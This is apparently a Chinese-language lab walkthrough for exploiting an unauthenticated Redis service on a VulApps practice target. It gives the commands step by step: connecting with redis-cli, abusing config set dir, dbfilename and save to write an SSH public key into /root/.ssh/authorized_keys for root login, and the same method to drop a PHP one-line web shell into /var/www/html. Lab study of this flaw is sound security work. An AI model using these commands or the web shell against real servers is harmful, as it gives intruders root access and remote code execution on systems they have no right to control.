0x00 測試環境
漏洞靶場:https://github.com/Medicean/VulApps/tree/master/r/redis/1
連接工具:https://redis.io/download
0x01 測試是否存在未授權訪問漏洞
使用redis-cli嘗試連接目標6379端口
#./redis-cli -h 192.168.233.131 -p 6379 //6379為默認端口,這里映射為32773,如果存在弱口令,可以通過參數-a [password]連接
此時可以看到已連接成功
0x02 多姿勢漏洞利用
姿勢1:寫入公鑰,通過私鑰免密連接
1、在本地/root/.ssh目錄下生成rsa密鑰對 //id_rsa私鑰,連接時用;id_rsa.pub公鑰,上傳內容至目標服務器
2、通過redis命令,將公鑰寫入到目標服務器
> config set dir /root/.ssh/ //指定存放路徑
> config set dbfilename "authorized_keys" //指定上傳的文件名
> set authorized_keys "公鑰內容" //將公鑰寫入到文件中,可略過這條命令
> save //保存
3、使用ssh命令連接目標
# ssh root@192.168.233.131 -p 32774 -i ~/.ssh/id_rsa //-i 指定私鑰文件 ,這里提示需要密碼的原因應該是authorized_keys文件權限過低(chmod 700 authorized_keys)
姿勢2:若目標服務器有web服務,可直接寫入一句話木馬
> config set dir /var/www/html/
> config set dbfilename "1.php"
> set 1 "<?php eval($_POST[cmd]);?>"
> save